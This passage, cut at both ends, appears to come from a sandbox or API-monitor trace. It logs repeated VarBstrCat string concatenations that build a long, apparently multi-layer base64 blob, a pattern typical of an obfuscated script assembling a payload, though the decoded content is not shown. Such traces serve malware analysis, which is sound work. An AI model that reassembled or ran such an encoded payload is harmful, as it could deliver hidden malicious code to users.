TVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZE", bstrRight="plVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXW", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.629] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXW", bstrRight="XpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGEx", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.629] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGEx", bstrRight="VjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHB", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.629] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHB", bstrRight="rUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWF", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.629] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHBrUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWF", bstrRight="VsbFViazVSVlRGS1VscEdhRTlqTUhRMVZXeE9ZVlpWTlRCWGExSXdXV3hWZW1KSWNHdFNNVm93VkVkek1XSkhVa1JPVm1oaFZqQndWRmRzYUVkTlZuQlpWR3BDV1ZVeFNYcFhiR", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.630] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHBrUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWFVsbFViazVSVlRGS1VscEdhRTlqTUhRMVZXeE9ZVlpWTlRCWGExSXdXV3hWZW1KSWNHdFNNVm93VkVkek1XSkhVa1JPVm1oaFZqQndWRmRzYUVkTlZuQlpWR3BDV1ZVeFNYcFhiR", bstrRight="1JMVlRGd1dWSnFSbUZYUlRSM1ZVWmFNRlpIVmxsVWFrSmhWbnBDTVZaSE1WZE5SWGh6V2tkNFdtSkZjSE5aTVdoWFlrZE5lbFZ0VWxCaGJrSkZXVEl4VjJGSFVraFdWemxMVW10SmVGbDZTak5qUlRrMVZXcE9ZVll3Y0ZSWGJHaEhUVlp3V1ZScVFrMWhla1p6V2tWa2IyUnNjRVZOUnpWV1VsUnNWVlpyVG1wT01IQkpXa2Q0V21KRmNITlpNV2hYWWtkTmVsVll", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.630] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHBrUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWFVsbFViazVSVlRGS1VscEdhRTlqTUhRMVZXeE9ZVlpWTlRCWGExSXdXV3hWZW1KSWNHdFNNVm93VkVkek1XSkhVa1JPVm1oaFZqQndWRmRzYUVkTlZuQlpWR3BDV1ZVeFNYcFhiR1JMVlRGd1dWSnFSbUZYUlRSM1ZVWmFNRlpIVmxsVWFrSmhWbnBDTVZaSE1WZE5SWGh6V2tkNFdtSkZjSE5aTVdoWFlrZE5lbFZ0VWxCaGJrSkZXVEl4VjJGSFVraFdWemxMVW10SmVGbDZTak5qUlRrMVZXcE9ZVll3Y0ZSWGJHaEhUVlp3V1ZScVFrMWhla1p6V2tWa2IyUnNjRVZOUnpWV1VsUnNWVlpyVG1wT01IQkpXa2Q0V2